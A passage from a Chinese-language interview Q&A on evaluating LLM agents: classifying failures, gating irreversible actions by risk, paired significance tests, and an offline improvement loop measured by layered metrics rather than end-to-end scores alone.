③ 失败的类型分布,以及是否与环境失败混在一起。 硬失败(工具报错、schema 失败)应由规则自动判定并压到接近 0;语义失败与质量失败要分开;网络抖动、第三方限流这类环境失败必须单列,否则你会去优化一个不存在的问题。前提是工具本身先有单测与契约测试。
④ 风险等级与失败代价。 70% 成功率在「生成一份草稿」和「自动退款」上完全是两回事。不可逆操作要么有确认、要么有幂等 + 可回滚;两者都没有就不该无人值守上线 —— 这时正确的回答不是「补测试」,而是先缩小它的权限范围。
加分项:报分用配对检验(同一批题比较用 McNemar 或 paired bootstrap),并把过程验证器的结论一起报 —— 结果对不等于过程对(删掉失败的测试用例照样能让测试通过)。
5. 线上持续有失败案例。你怎么把它们变成系统的改进?为什么不能直接拿端到端分数判断改进器好坏?
答案要点
用双循环:在线执行循环只完成任务、记录证据、不直接改写线上 Agent;离线进化循环聚合轨迹、用三层验证器(结果层最可靠、优先建)诊断根因、生成更新提案,过验证门槛后发布新版本;两者通过版本化的经验库与评估集连接。
改进要按载体分流:事实与经验 → 知识库;能用自然语言说清的判断原则 → Prompt/Skill;可确定解析的高风险硬约束 → 程序与 Harness;高维感知与隐式风格 → 模型参数。金句:症状常常不是「模型不行」,而是这件事本来就不该由参数解决。
不能只看端到端分数的原因:要区分 Harness 更新能力(能否从轨迹中产生有价值的持久修改)与 Harness 受益能力(任务 Agent 能否在后续运行中找到、激活并正确使用这些修改)。一个 Skill 可能写得完全正确,但较弱的任务模型没在合适场景加载它、或加载后无法长期遵循 —— 端到端分数会看起来「没有进化」,误导你把问题归到更新器上。所以要用四层指标分开看:更新提案有效率、产物激活率、遵循成功率、保留任务集增益。另外长期还要看回退、泛化、token 效率、安全边界是否随进化漂移、以及维护复杂度。